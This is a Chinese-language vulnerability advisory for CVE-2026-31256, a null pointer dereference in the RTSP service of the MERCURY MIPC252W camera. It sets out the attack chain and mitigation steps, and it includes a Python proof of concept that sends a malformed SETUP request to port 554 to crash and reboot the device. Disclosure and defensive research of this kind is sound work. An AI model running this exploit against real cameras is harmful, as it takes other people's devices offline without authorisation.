IPBUF安全漏洞报告
English
CVE-2026-31256 CVSS 7.5 高危

CVE-2026-31256: MERCURY MIPC252W RTSP空指针引用漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-31256
漏洞类型
空指针引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MERCURY MIPC252W

相关标签

空指针引用拒绝服务RTSPMERCURYIoT

漏洞概述

MERCURY MIPC252W摄像头固件1.0.5版本中的RTSP服务存在空指针引用漏洞。该漏洞源于设备在处理指向rtsp://<IP>:554/stream1/track2路径的SETUP请求时,未能正确验证Transport头部字段。当攻击者发送构造不当的头部数据时,RTSP服务在解析请求时会尝试引用空指针。成功利用该漏洞无需身份认证,会导致设备崩溃并自动重启,严重影响设备的可用性。

技术细节

该漏洞属于内存破坏类漏洞中的空指针解引用类型。漏洞发生在MERCURY MIPC252W设备的RTSP服务组件中,该服务默认监听554端口。在标准的RTSP交互流程中,客户端发送SETUP请求以建立媒体流传输通道,并包含Transport头指定传输参数。受影响版本的固件在解析该特定路径的SETUP请求时,对Transport字段内容的校验逻辑存在缺陷。如果攻击者发送特制的畸形数据包(例如缺少关键字段或包含异常格式),服务端的解析函数可能会访问未初始化或为NULL的内存地址。由于没有进行非空检查,程序触发异常并终止服务进程,导致整个设备系统瘫痪并强制重启。

攻击链分析

STEP 1
侦察
攻击者扫描网络开放的554端口,识别是否存在MERCURY MIPC252W设备。
STEP 2
漏洞利用
向目标设备的/stream1/track2路径发送特制的SETUP请求,包含畸形的Transport头部字段。
STEP 3
拒绝服务
设备解析请求时触发空指针引用异常,导致RTSP服务崩溃及设备自动重启。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target configuration TARGET_IP = "192.168.1.10" TARGET_PORT = 554 def send_exploit(): # Constructing the malicious RTSP SETUP request # The vulnerability is triggered via the Transport header validation failure request = ( f"SETUP rtsp://{TARGET_IP}:554/stream1/track2 RTSP/1.0\r\n" "CSeq: 1\r\n" "User-Agent: Exploit/1.0\r\n" "Transport: INVALID_HEADER_VALUE\r\n" "\r\n" ) try: print(f"[+] Sending exploit payload to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) s.send(request.encode('utf-8')) print("[+] Payload sent successfully. Check device for crash/reboot.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

影响范围

MERCURY MIPC252W 1.0.5 Build 230306 Rel.79931n

防御指南

临时缓解措施
建议用户在防火墙中限制对554端口的访问,仅允许受信任的内部网络访问RTSP服务。如果非必要,建议暂时关闭设备的RTSP功能,直到官方发布修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表